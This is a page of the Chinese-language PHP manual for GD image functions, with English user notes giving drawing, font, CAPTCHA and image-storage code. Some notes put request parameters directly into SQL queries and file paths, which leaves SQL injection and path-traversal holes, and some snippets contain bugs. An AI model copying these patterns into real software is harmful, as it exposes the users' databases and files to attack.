       echo ("Angle of line is (".$ang*180/pi().")</br>");
       echo ("Angle of line1 is $arrangdeg1</br>");
       echo ("Angle of line2 is $arrangdeg2</br>");
       echo ("$arx1,$ary1&nbsp;&nbsp;&nbsp;$x2,$y2</br>");
       echo ("$arx2,$ary2&nbsp;&nbsp;&nbsp;$x2,$y2");
       exit;
   }

   $array_arrows = array (
                   'x1' =>$arx1,
                   'y1' => $ary1,
                   'x2' => $arx2,
                   'y2' => $ary2
                   );
   return $array_arrows;

}

$x1 = 200; $y1 = 200;
$x2 = 400; $y2 = 100;
$arrhead = 15; //10px
$arrang = 10; //10 deg

$ar_arrws = get_arrowheads ($x1, $y1, $x2, $y2, $arrhead, $arrang);

$im  = imagecreate (400, 400);
$w  = imagecolorallocate ($im, 255, 255, 255);
$red = imagecolorallocate ($im, 255, 0, 0);

//creates the base line
imageline ($im, $x1, $y1, $x2, $y2, $green);
imageline ($im, $x1+1, $x2+1, $y1+1, $y2+1, $red);
imageline ($im, $x2, $y2, $ar_arrws['x1'], $ar_arrws['y1'], $green);
imageline ($im, $x2, $y2, $ar_arrws['x2'], $ar_arrws['y2'], $green);

?>
yl at sota dot ch
15-Apr-2004 12:44
Simple function to create border for jpg-images:

function createImageBorder($imgName){

     $img    =  substr($imgName, 0, -4); // remove fileExtension
     $ext    = ".jpg";
     $quality = 95;
     $borderColor = 255;  // 255 = white

   /*
     a                        b
     +-------------------------+
     |
     |          IMAGE
     |
     +-------------------------+
     c                        d
   */

   $scr_img = imagecreatefromjpeg($img.$ext);
   $width  = imagesx($scr_img);
   $height  = imagesy($scr_img);

       // line a - b
       $abX  = 0;
       $abY  = 0;
       $abX1 = $width;
       $abY1 = 0;

       // line a - c
       $acX  = 0;
       $acY  = 0;
       $acX1 = 0;
       $acY1 = $height;

       // line b - d
       $bdX  = $width-1;
       $bdY  = 0;
       $bdX1 = $width-1;
       $bdY1 = $height;

       // line c - d
       $cdX  = 0;
       $cdY  = $height-1;
       $cdX1 = $width;
       $cdY1 = $height-1;

       // DRAW LINES
       imageline($scr_img,$abX,$abY,$abX1,$abY1,$borderColor);
       imageline($scr_img,$acX,$acY,$acX1,$acY1,$borderColor);
       imageline($scr_img,$bdX,$bdY,$bdX1,$bdY1,$borderColor);
       imageline($scr_img,$cdX,$cdY,$cdX1,$cdY1,$borderColor);

     // create copy from image
       imagejpeg($scr_img, $img."_border.jpg", $quality);
       imagedestroy($scr_img);
  }

   createImageBorder("myfile.jpg");
XxXoldsaltXxX at hotmail dot com
15-Feb-2004 02:50
Script to draw a grid of lines, which make the entire side of the picture look like a quarter circle.. very cool :)
<?php
$img_disp = imagecreate(1000,1000);
$backcolor = imagecolorallocate($img_disp,0,0,0);
imagefill($img_disp,0,0,$backcolor);
$textcolor = imagecolorallocate($img_disp,255,0,0);
$x1 = 0;
$y1 = 0;
$x2 = 0;
$y2 = 1000;
for(;;){
$y1 = $y1 + 20;
$x2 = $x2 + 20;
imageline($img_disp,$x1,$y1,$x2,$y2,$textcolor);
if ($y1 == 1000){
break;
}
}
header("Content-type: image/png");
imagepng($img_disp); // Draw the image
imagedestroy($img_disp); // Delete the image from the server's memory
?>
mueller at inf dot ufsc dot br
06-Jan-2004 04:26
an algorithm to draw a bezier spline

<?php

$segmentos =30;
$x=array(0,10,80,30);
$y=array(0,10,40,50);

function bezier($p,$steps){
   $t = 1 / $steps;
   $temp = $t * $t;
   $ret = array();
   $f = $p[0];
   $fd = 3 * ($p[1] - $p[0]) * $t;
   $fdd_per_2=3*($p[0]-2*$p[1]+$p[2])*$temp;
   $fddd_per_2=3*(3*($p[1]-$p[2])+$p[3]-$p[0])*$temp*$t;
   $fddd = $fddd_per_2 + $fddd_per_2;
   $fdd = $fdd_per_2 + $fdd_per_2;
   $fddd_per_6 = $fddd_per_2 * (1.0 / 3);
   for ($loop=0; $loop<$steps; $loop++) {
       array_push($ret,$f);
       $f = $f + $fd + $fdd_per_2 + $fddd_per_6;
       $fd = $fd + $fdd + $fddd_per_2;
       $fdd = $fdd + $fddd;
       $fdd_per_2 = $fdd_per_2 + $fddd_per_2;
   }
   return $ret;
}

$by = bezier($y,$segmentos);
$bx = bezier($x,$segmentos);
header ("Content-type: image/jpeg");
$tam = 200;
$im = imagecreate($tam,$tam);
$background_color = imagecolorallocate ($im, 200, 200, 200);
$tc = imagecolorallocate ($im, 233, 14, 91);
for($i=0;$i<$segmentos-1;$i++)
   imageline($im,$bx[$i],$tam-$by[$i],$bx[$i+1],$tam-$by[$i+1],$tc);
imagejpeg($im);
imagedestroy($im);
?>
code_couturier at graffiti dot net
18-Oct-2003 02:56
# antialiased draw_line function 1.1 (faster)

# here is a drawLine() posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

# here are some changes i made:
# 1. changed for true-color images (no index_var used)
# 2. changed rgb extraction to logical shift
# 3. reducing function call's

function drawQSLine ($image,$x1,$y1,$x2,$y2,$r,$g,$b) {
$icr=$r;
$icg=$g;
$icb=$b;
 $dcol = ImageColorAllocate ($image,$icr,$icg,$icb);
 if ($y1 == $y2) imageline ($image,$x1,$y1,$x2,$y1,$dcol);
 else if ($x1 == $x2) {
   imageline ($image,$x1,$y1,$x1,$y2,$dcol);
 } else {
 $m = ($y2 - $y1) / ($x2 - $x1);
 $b = $y1 - $m * $x1;

 if (abs ($m) <2) {

 $x = min ($x1,$x2);
 $endx = max ($x1,$x2)+1;

 while ($x < $endx) {
 $y=$m * $x + $b;
 $y == floor ($y) ? $ya = 1 : $ya = $y - floor ($y);
 $yb = ceil ($y) - $y;

 $trgb = ImageColorAt($image,$x,floor($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,floor ($y),imagecolorallocate ($image,($tcr * $ya + $icr * $yb),
($tcg * $ya + $icg * $yb),
($tcb * $ya + $icb * $yb)));

 $trgb = ImageColorAt($image,$x,ceil($y));
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,$x,ceil ($y),imagecolorallocate ($image,($tcr * $yb + $icr * $ya),
($tcg * $yb + $icg * $ya),
($tcb * $yb + $icb * $ya)));

 $x ++;
 } # while_x_end
 } # if_end
 else { # else_abs_end

 $y = min ($y1,$y2);
 $endy = max ($y1,$y2)+1;

 while ($y < $endy) {
 $x=($y - $b) / $m;
 $x == floor ($x) ? $xa = 1 : $xa = $x - floor ($x);
 $xb = ceil ($x) - $x;

 $trgb = ImageColorAt($image,floor($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,floor ($x),$y,imagecolorallocate ($image,($tcr * $xa + $icr * $xb),
($tcg * $xa + $icg * $xb),
($tcb * $xa + $icb * $xb)));

 $trgb = ImageColorAt($image,ceil($x),$y);
 $tcr = ($trgb >> 16) & 0xFF;
 $tcg = ($trgb >> 8) & 0xFF;
 $tcb = $trgb & 0xFF;
 imagesetpixel ($image,ceil ($x),$y,imagecolorallocate ($image, ($tcr * $xb + $icr * $xa),
($tcg * $xb + $icg * $xa),
($tcb * $xb + $icb * $xa)));

 $y ++;
 }# while_y_end
 }# else_abs_end
 }# else_y=y_x=x_end
}# drawOSLine_end
code_couturier at graffiti dot net
02-Oct-2003 12:33
# antialiased lines with true-type-fonts !?
# yip, it works - not very good - but faster
# (below 3 sec) than other routines (~7 sec)
# i saw here.

# the antialiased effect is minimal and only
# at the top of the line - but, as better as
# nothing ;)

# here is a drawLine routine from Logan Gunthorpe
# (logang at deltatee dot com) posted by nanobot at chipx86 dot com
# on php.net and enhanced/optimized by myself :)

function drawSoftLine ($image, $x1, $y1, $x2, $y2, $r,$g,$b) {

$fontfile="arial.ttf"; # the font for the dot
$str="" ; # the point_char for the dot
$size=12; # the point for the dot_size

 $color = ImageColorAllocate ($image, $r,$g,$b);

 if ($x2 == $x1) {
 $tmp = $x1; $x1 = $y1; $y1 = $tmp;
 $tmp = $x2; $x2 = $y2; $y2 = $tmp;
 $swapx = true;
 }

 $m = (float)(( $y2 - $y1 ) / ( $x2 - $x1 ));
 $b = (float)($y1 - $m*$x1);

 $strx = min ( $x1 , $x2 );
 $endx = max ( $x1 , $x2 );
 $x=(int)0;

# the original loop was based on one for_loop
# with the if_swap inside. to speed up this loop
# i double it, to keep off the permanent if_call's.

if (!$swapx) {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $x, $y,
   $color, $fontfile,$str);
 }
} else {
 for ($x = $strx; $x <= $endx; $x++) {
   $y = (int)($m*$x + $b);
   imagettftext($image, $size, 0, $y, $x,
   $color, $fontfile,$str);
  }
}

}
nanobot at chipx86 dot com
17-Jun-2003 08:28
Here is a function for making antialiased lines:

 function imagesmoothline ( $image , $x1 , $y1 , $x2 , $y2 , $color )
 {
  $colors = imagecolorsforindex ( $image , $color );
  if ( $x1 == $x2 )
  {
   imageline ( $image , $x1 , $y1 , $x2 , $y2 , $color ); // Vertical line
  }
  else
  {
   $m = ( $y2 - $y1 ) / ( $x2 - $x1 );
   $b = $y1 - $m * $x1;
   if ( abs ( $m ) <= 1 )
   {
   $x = min ( $x1 , $x2 );
   $endx = max ( $x1 , $x2 );
   while ( $x <= $endx )
   {
     $y = $m * $x + $b;
     $y == floor ( $y ) ? $ya = 1 : $ya = $y - floor ( $y );
     $yb = ceil ( $y ) - $y;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , floor ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $ya + $colors['red'] * $yb;
     $tempcolors['green'] = $tempcolors['green'] * $ya + $colors['green'] * $yb;
     $tempcolors['blue'] = $tempcolors['blue'] * $ya + $colors['blue'] * $yb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , floor ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , $x , ceil ( $y ) ) );
     $tempcolors['red'] = $tempcolors['red'] * $yb + $colors['red'] * $ya;
     $tempcolors['green'] = $tempcolors['green'] * $yb + $colors['green'] * $ya;
     $tempcolors['blue'] = $tempcolors['blue'] * $yb + $colors['blue'] * $ya;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , $x , ceil ( $y ) , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $x ++;
   }
   }
   else
   {
   $y = min ( $y1 , $y2 );
   $endy = max ( $y1 , $y2 );
   while ( $y <= $endy )
   {
     $x = ( $y - $b ) / $m;
     $x == floor ( $x ) ? $xa = 1 : $xa = $x - floor ( $x );
     $xb = ceil ( $x ) - $x;
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , floor ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xa + $colors['red'] * $xb;
     $tempcolors['green'] = $tempcolors['green'] * $xa + $colors['green'] * $xb;
     $tempcolors['blue'] = $tempcolors['blue'] * $xa + $colors['blue'] * $xb;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , floor ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $tempcolors = imagecolorsforindex ( $image , imagecolorat ( $image , ceil ( $x ) , $y ) );
     $tempcolors['red'] = $tempcolors['red'] * $xb + $colors['red'] * $xa;
     $tempcolors['green'] = $tempcolors['green'] * $xb + $colors['green'] * $xa;
     $tempcolors['blue'] = $tempcolors['blue'] * $xb + $colors['blue'] * $xa;
     if ( imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) == -1 ) imagecolorallocate ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] );
     imagesetpixel ( $image , ceil ( $x ) , $y , imagecolorexact ( $image , $tempcolors['red'] , $tempcolors['green'] , $tempcolors['blue'] ) );
     $y ++;
   }
   }
  }
 }

EDITOR: My previous code contained bugs. Please use this one instead.
kramesch_NOSPAM_ at _nospam_idsolutions dot at
27-Feb-2002 05:44
Here is a simple code to draw a line with an arbitrary stroke. The parameter aStroke is treated as a cyclic boolean array where true equals "set a point"
e.g. $aDotStroke = array(true,false);

function ImageStrokeLine($im,$x1,$y1,$x2,$y2,$farbe, $aStroke)
  {
   $deltax = abs($x2 - $x1);
   $deltay = abs($y2 - $y1);
   $x = $x1;
   $y = $y1;

   if ($x2 >= $x1)
   {
     $xinc1 = 1;
     $xinc2 = 1;
   }
   else
   {
     $xinc1 = -1;
     $xinc2 = -1;
   }

   if ($y2 >= $y1)
   {
     $yinc1 = 1;
     $yinc2 = 1;
   }
   else
   {
     $yinc1 = -1;
     $yinc2 = -1;
   }

   if ($deltax >= $deltay)
   {
     $xinc1 = 0;
     $yinc2 = 0;
     $den = $deltax;
     $num = $deltax / 2;
     $numadd = $deltay;
     $numpixels = $deltax;
   }
   else
   {
     $xinc2 = 0;
     $yinc1 = 0;
     $den = $deltay;
     $num = $deltay / 2;
     $numadd = $deltax;
     $numpixels = $deltay;
   }

   for ($curpixel = 0; $curpixel <= $numpixels; $curpixel++)
   {
     if ($iStrokeCount >= count($aStroke))
     {
       $iStrokeCount = 0;
     }

     if ($aStroke[$iStrokeCount++])
     {
       ImageSetPixel($im,$x, $y,$farbe);
     }
     $num += $numadd;
     if ($num >= $den)
     {
       $num -= $den;
       $x += $xinc1;
       $y += $yinc1;
     }
     $x += $xinc2;
     $y += $yinc2;
   }
  }
darren at php4hosting dot com
29-Oct-2000 01:48
It does work (With a bit of editing)
save the following as graph.php (You dont need any directorys)

<?php
Header("Content-type: image/png");
$picWidth=360*2;
$picHeight=200;
$pic=ImageCreate($picWidth+1,$picHeight+1);
$cWhite=ImageColorAllocate($pic,255,255,255);
ImageFilledRectangle($pic,0,0,$picWidth+1,$picHeight+1,$cWhite);
$cRed=ImageColorAllocate($pic,255,0,0);
$cBlue=ImageColorAllocate($pic,0,0,255);
$curX=0;
$curY=$picHeight;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(cos(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cRed);
$curX=$newX;
$curY=$newY;
}
$curX=0;
$curY=$picHeight/2;
for($pt=0;$pt<$picWidth;$pt++){
$newX=$curX+1;
$newY=($picHeight/2)+(sin(deg2rad($newX))*($picHeight/2));
ImageLine($pic,$curX,$curY,$newX,$newY,$cBlue);
$curX=$newX;
$curY=$newY;
}
$cBlack=ImageColorAllocate($pic,0,0,0);
ImageLine($pic,0,0,0,$picHeight,$cBlack);
ImageLine($pic,0,$picHeight/2,$picWidth,$picHeight/2,$cBlack);
ImagePNG($pic);
ImageDestroy($pic);
?>
add a note add a note

后退 | 起点 | 前进
imagelayereffect | 上一级 | imageloadfont


imageloadfont

(PHP 3, PHP 4, PHP 5)

imageloadfont -- 载入一新字体

说明

int imageloadfont ( string file )

imageloadfont() 加载一个用户定义的位图字体并返回该字体的标识符（其值总是大于 5，因此不会和内置字体冲突）。 在产生错误的情况下，该函数返回 FALSE 。

字体文件格式目前是二进制的且和平台有关。这意味着应该用和你运行 PHP 的机器相同类型 CPU 的机器生成字体。

表格 1. 字体文件格式

字节位置 | C 数据类型 | 说明
byte 0-3 | int | 字体中的字符数目
byte 4-7 | int | 字体中第一个字符的值（通常是 32 代表空格）
byte 8-11 | int | 每个字符宽度的像素值
byte 12-15 | int | 每个字符高度的像素值
byte 16- | char | 字符数据的数组，每字符中每像素一字节，一共 (nchars*width*height) 字节。

例子 1. 使用 imageloadfont

<?php
$im = imagecreatetruecolor(50, 20);
$black = imagecolorallocate($im, 0, 0, 0);
$white = imagecolorallocate($im, 255, 255, 255);
imagefilledrectangle($im, 0, 0, 49, 19, $white);
$font = imageloadfont("04b.gdf");
imagestring($im, $font, 0, 0, "Hello", $black);
imagepng($im);
?>

参见 imagefontwidth() 和 imagefontheight()。

add a note add a note User Contributed Notes
siker at norwinter dot com
29-Aug-2005 09:37
Working under the assumption that the only 'architecture dependant' part of the font files is endianness, I wrote a quick and dirty Python script to convert between the two. It has only been tested on a single font on a single machine so don't bet your life on it working. All it does is swap the byte order of the first four ints.

#!/usr/bin/env python

f = open("myfont.gdf", "rb");
d = open("myconvertedfont.gdf", "wb");

for i in xrange(4):
       b = [f.read(1) for j in xrange(4)];
       b.reverse();
       d.write(''.join(b));

d.write(f.read());

I successfully used this script to convert anonymous.gdf, from one of the font links below, into something useable on Mac OS X.
matthew at exanimo dot com
16-Aug-2005 01:28
Remember - GD fonts aren't antialiased.  If you're planning on using a pre-existing (TrueType) font, you may want to consider using imagettftext() instead of phillip's function.
alex at bestgames dot ro
02-Jul-2005 08:01
Confirmation code generation for preventing automated registrations on a website.

Function arguments are:
$code - the code that you shall random generate
$location - relative location of the image that shall be generated
$fonts_dir - relative location for the GDF fonts directory

This function will create an image with the code given by you and will save it in the directory specified with the name formed by MD5 hash of the code.

You may insert as many font types in the fonts directory as you wish, with random names.

<?php
function generate_image($code, $location, $fonts_dir)
{
     $image  = imagecreate(150, 60);
     imagecolorallocate($image, rand(0, 100), rand(100, 150), rand(150, 250));
     $fonts = scandir($fonts_dir);

     $max = count($fonts) - 2;

     $width = 10;
     for ($i = 0; $i <= strlen($code); $i++)
     {
         $textcolor = imagecolorallocate($image, 255, 255, 255);
         $rand = rand(2, $max);
         $font = imageloadfont($fonts_dir."/".$fonts[$rand]);

         $fh = imagefontheight($font);
         $fw = imagefontwidth($font);

         imagechar($image, $font, $width, rand(10, 50 - $fh), $code[$i], $textcolor);
         $width = $width + $fw;

     }

     imagejpeg($image, $location."/".md5($code).".jpg", 100);
     imagedestroy($image);

     return $code;

}

?>
puremango dot co dot uk at gmail dot com
22-Apr-2005 08:54
I've written an online tool in PHP that allows you to create GD fonts from PNG images.

much usefulness for custom font creation, I feel.

see the tool@
http://puremango.co.uk/cm_fontmaker_114.php
(source available online)
philip at philiplb dot de
03-Apr-2005 04:50
Since there are few fontfiles avaible, I wrote a small windows-programm to generate them from the installed fonts.
Checkout
http://www.philiplb.de/index.php?showdownload=63&p=Downloads
null at phpmix dot com
23-Dec-2004 01:59
Sometime ago I wrote a small tutorial on how to create dynamic signatures using gd_fonts. I also uploaded some gd_fonts...

You can check it out here, if you wish:
http://www.phpmix.com/phpBB2/viewtopic.php?t=328

Hope that helps
widget at oneblacksheep dot com
05-Jun-2004 08:41
After noting the gd fonts page from dryes58 above was down I contacted the him and have put the pages up at http://www.widgnet.com/gdf_fonts/ hows about that then =)
angryziber at mail dot com
23-Aug-2000 10:23
You all should look at the GD image library site for information on extra fonts, it can be found at http://www.boutell.com/gd/
add a note add a note

后退 | 起点 | 前进
imageline | 上一级 | imagepalettecopy


imagepalettecopy

(PHP 4 >= 4.0.1, PHP 5)

imagepalettecopy -- 将调色板从一幅图像拷贝到另一幅

说明

void imagepalettecopy ( resource destination, resource source )

imagepalettecopy() 从 source 图像把调色板拷贝到 destination 图像。

add a note add a note User Contributed Notes
buzz at nospam dot oska dot com
21-Oct-2005 07:51
actually it doesn't "copy" the palette exactly.  It copys the colors from the source palette to the destination image.  the palette you end up with in the destination image will be "same colors different order".  If you want an EXACT palette copy (at the expense of messing up your image if you aren't careful), then use this code:
<?
// this is a drop-in replacement for imagepalettecopy, except that it make NO attempt to modifiy any of the
// colors in the dest image, just the palette.  The result?  if you're palette's aren't very similar, the image will look completely different, and likely terrible!
function imagepalettecopy_exact ( $dst_img, $src_img) {
   for( $c = 0 ; $c < imagecolorstotal($src_img); $c++) {
       $col = imagecolorsforindex($src_img,$c);  //get color at index 'c' in the color table
       imagecolorset($dst_img,$c,$col[red],$col[green],$col[blue]); //set color at index 'c' to $col in the $dst_image
   }
}

?>
Los Olvidados
10-Jan-2003 08:55
To be precise, this function replaces the palette in the destination.
add a note add a note

后退 | 起点 | 前进
imageloadfont | 上一级 | imagepng


imagepng

(PHP 3 >= 3.0.13, PHP 4, PHP 5)

imagepng -- 以 PNG 格式将图像输出到浏览器或文件

说明

bool imagepng ( resource image [, string filename] )

imagepng() 将 GD 图像流（image）以 PNG 格式输出到标准输出（通常为浏览器），或者如果用 filename 给出了文件名则将其输出到该文件。

<?php
$im = imagecreatefrompng("test.png");
imagepng($im);
?>

参见 imagegif()，imagewbmp()，imagejpeg() 和 imagetypes()。

add a note add a note User Contributed Notes
bart at resolume dot com
06-Apr-2006 11:54
If you want to resize a png-24 image and preserve the alpha channel you need to set imagealphablending($im_dest, false) on the destination image just after creating it with imagecreatetruecolor() and do a imagesavealpha($im_dest, true) on it before saving it:

<?php

$im = ImageCreateFromPNG('redfade.png');

$im_dest = imagecreatetruecolor (500, 300);
imagealphablending($im_dest, false);

imagecopyresampled($im_dest, $im, 0, 0, 0, 0, 300, 300, 500, 300);

imagesavealpha($im_dest, true);
imagepng($im_re, 'small_redfade.png');

?>
adrenalin at NOSPAM dot myrealbox dot com
27-Dec-2005 11:22
Trying to resize a png 256 colors image and save it in 256 colors with a correct color palette ? (if you'll save a 256 color image in truecolor palette the result image will have a big size).
I spent some hours trying various function to get a good quality 256 color png image, but because of color palette the result image quality was awful.
But thank to the comment of zmorris at zsculpt dot com from imagetruecolortopalette function page, i figured out how to get a properly image!

<?php
function resize_png($src,$dst,$dstw,$dsth) {
   list($width, $height, $type, $attr) = getimagesize($src);
   $im = imagecreatefrompng($src);
   $tim = imagecreatetruecolor($dstw,$dsth);
   imagecopyresampled($tim,$im,0,0,0,0,$dstw,$dsth,$width,$height);
   $tim = ImageTrueColorToPalette2($tim,false,255);
   imagepng($tim,$dst);
}
//zmorris at zsculpt dot com function, a bit completed
function ImageTrueColorToPalette2($image, $dither, $ncolors) {
   $width = imagesx( $image );
   $height = imagesy( $image );
   $colors_handle = ImageCreateTrueColor( $width, $height );
   ImageCopyMerge( $colors_handle, $image, 0, 0, 0, 0, $width, $height, 100 );
   ImageTrueColorToPalette( $image, $dither, $ncolors );
   ImageColorMatch( $colors_handle, $image );
   ImageDestroy($colors_handle);
   return $image;
}
?>

Good luck,
Namolovan Nicolae, Moldova
awalton at gmail dot com
25-Dec-2005 05:17
PNG images (as any image) can be stored in a MySQL blob field, but if you want to do this, you'll want to serialize the image stream into a better form. I would recommend base64_encode() and base64_decode(). (Just fopen() the file, fread() the contents in, base64_encode() the string, and fire off your SQL query (use addslashes()/stripslashes() to be more secure)).

This has been posted an innumerable amount of times throughout the site, but it's still terrible that a lot of users simply don't understand this and use it to its full potential.

I would also recommend that if you are doing images this way, to keep an image cache folder somewhere that PHP can access (possibly even somewhere off your webroot?). That way if your website is swamped with traffic it won't kill the SQL server.
vladson at pc-labs dot info
04-Jul-2005 11:00
To send 'Content-Length' header (like in static pictures case) i use "Output handler" like this...
<?php
//    Output handler
function output_handler($img) {
   header('Content-type: image/png');
   header('Content-Length: ' . strlen($img));
   return $img;
}

//    Image output
ob_start("output_handler");
imagepng($im);
ob_end_flush();
?>
neburk0rk at gmail dot com
21-May-2005 02:50
This is my way to store PNG-images in a MySQL database... You cannot directly store the PNG-image in a variable, and then parse it in the database, cos if you try to define it to a variable, it'll still just output it...
In my method i use three functions
 to "capture" the output and store it in a variable; ob_start (to start the output buffering),    ob_get_contents  (to capture the output),    and  ob_end_clean (to erase the cache, and end the output buffering)

<?php
$imagefile = "changethistogourimage.gif";

$image = imagecreatefromgif($imagefile);
ob_start();
imagepng($image);
$imagevariable = ob_get_contents();
ob_end_clean();

/*
HERE YOU CAN MESS WITH THE $imagevariable AS YOU LIKE
*/
?>
php at no dot spam dot prosa dot net
04-May-2005 10:40
You could use the function imagecreatefrompng

(I assume that you already know how to get the text from the url.)

The only thing left to do is put that text on the image using the correct colors for you.

<?php

$im = @imagecreatefrompng($imgname);

$text_color = imagecolorallocate ($im, $Red,$Green,$Blue);

imagestring ($im, 3,  5, 15,  $SomeTextFromURL, $text_color);

?>

Regards,
Peter Berkhout.
15-Apr-2005 03:11
To cbrasho at yahoo dot com

I have read your note and the note that was made in reply. My SIMPLE solution is to add a key to each image record in the database so that the ID+Key pair will be used very similarly to a Username+Password pair =) all you have to do is create a unique random number or something to put in the "Key" field of the database when the entry is made.

i've modified the code and pasted it here...

<?php
//get file ID+Key
$id = $_REQUEST['id'];
$key = $_REQUEST['key']; // i added this!

//get data from blob
$sql = "SELECT Data, Type, Extension FROM Images WHERE ID=$id AND Key=$key"; // this is the clever bit =D
$records=mysql_query($sql);
$record=mysql_fetch_row($records);

$data=$record['Data'];
$type=$record['Type'];
$ext=$record['Extension'];

//output data
header("Content-Type: $type");
header("Content-Disposition: inline; filename=img$id.$ext");

echo $data;
?>

all i did was add 1 line and change another =D

now if "image.php?id=1&key=A29F1X" gives a result, "image.php?id=2&key=A29F1X" will output an image of zero bytes in size because the keys in the database are unique =)
dws at mrao dot cam dot ac dot uk
22-Jan-2005 06:03
Presumably it returns true on success and false on failure, although the documentation doesn't actually say so.
11-Nov-2004 06:08
To cbrasho at yahoo dot com

I don't get the problem. If you want to have images stored as blobs, you can do a show.php like this:

<?php
//get file ID
$id = $_REQUEST['id'];

//get data from blob
$sql = "SELECT Data, Type, Extension FROM Images WHERE ID=$id";
$records=mysql_query($sql);
$record=mysql_fetch_row($records);

$data=$record['Data'];
$type=$record['Type'];
$ext=$record['Extension'];

//output data
header("Content-Type: $type");
header("Content-Disposition: inline; filename=img$id.$ext");

echo $data;
?>

I've done this many times (conceptually), and it works like a charm, although I would recommend a little more security on that indata. If you have a unified place images go in (like an upload form), you can even drop the type and extension part by saving every image as the same filetype.
pm at dontspamme dot pietmarcus dot com
24-Aug-2004 04:43
in reply to: cbrasho at yahoo dot com

if you use Apache as a webserver, you could do the following:

You could set up a 'img' directory in your webspace.
In that directory there will be two files: a .htaccess file and a img.php file
the .htaccess file contains the following code:
ErrorDocument 404 /img/img.php

the img.php file looks something like this:

<?php
  $file = $_SERVER['REDIRECT_URL'];

  $result = mysql_query('select img_blob from images where filename=\\'' . $file . '');
  list($blob) = mysql_fetch_row($result);

  header('HTTP/1.0 200 Ok');
  header("Content-type: image/jpeg");

  print $blob; # or whatever works, I don't use this
?>

if you use a url for your image like http://test.com/img/image1.jpeg, which doesn't exist, normally you would get a 404-page. in this case, the 404 is being handled by img.php, which brings up the required image...
cbrasho at yahoo dot com
17-Aug-2004 10:49
Having your pictures stored in a database sounds great but brings you a lot of trouble.
Storing images in a DB you will have a script show.php that will appear in <img> tags: <img src='show.php?img_id=$some_id'>
But if you want to have REGISTER GLOBALS = OFF, you are in trouble and there is no way (at leas as far as i know) to solve the problem but to put te img from the DB in a file and put the coresponding file name in the <img> tag. But this brings another problem: simultaneous accesses to the page. So you will have to find a way to give unique names to the picture files for each simultaneous access to the page. The solution might be using sessions. This is how you end up having a very compleh PHP script for a very simple problem. So, the basic ideea is " do not store your pictures in a blob unless you know exactly what you are doing".
mail at stefanbechtold dot de
17-Apr-2003 09:14
to all the ones, who like having their users fill their profil with an image without destroying a fixed design the following should be a great way to handle this problem.

this file opens a picture from $imagepath and returns it as a valid picture to embed in: <img src="file.php?image=123.jpg[?maxX=200&maxY=150]"> (in [] = optional)

but this file does more than this. it also adds black borders to files that are smaller than the max. size, so adding borders to the left and right where a image is too high :-)

if there is a need for a copyright note this script will also help you. you can put in a various text to $copyright. the text length should be in relationship to $maxX and $maxY.

Well there are other features of the script, just try'em out and have fun with it :-)

bye

<?php

# standard height & weight if not given
if(!isset($maxX)) $maxX = 100;
if(!isset($maxY)) $maxY = 75;

# colour- & textvalues
$picBG = "0,0,0"; # RGB-value !
$picFG = "104,104,104"; # RGB-value !
$copyright = "stefan bechtold";
$font = 1;

# minimal & maximum zoom
$minZoom = 1; # per cent related on orginal (!=0)
$maxZoom = 200; # per cent related on orginal (!=0)

# paths
$imgpath = "userimages/"; # ending with "/" !
$nopicurl = "../images/nopic.jpg"; # starting in $imagepath!!!
$nofileurl = "../images/nofile.jpg"; # starting in $imagepath!!!

if(!isset($image) || empty($image))
   $imageurl = $imgpath . $nopicurl;
elseif(! file_exists($imgpath . trim($image)))
   $imageurl = $imgpath . $nofileurl;
else
   $imageurl = $imgpath . trim($image);

# reading image
$image = getImageSize($imageurl, $info); # $info, only to handle problems with earlier php versions...
switch($image[2]) {
     case 1:
       # GIF image
       $timg = imageCreateFromGIF($imageurl);
       break;
   case 2:
       # JPEG image
       $timg = imageCreateFromJPEG($imageurl);
       break;
   case 3:
       # PNG image
       $timg = imageCreateFromPNG($imageurl);
       break;
}

# reading image sizes
$imgX = $image[0];
$imgY = $image[1];

# calculation zoom factor
$_X = $imgX/$maxX * 100;
$_Y = $imgY/$maxY * 100;

# selecting correct zoom factor, so that the image always keeps in the given format
# no matter if it is more higher than wider or the other way around
if((100-$_X) < (100-$_Y)) $_K = $_X;
else $_K = $_Y;

# zoom check to the original
if($_K > 10000/$minZoom) $_K = 10000/$minZoom;
if($_K < 10000/$maxZoom) $_K = 10000/$maxZoom;

# calculate new image sizes
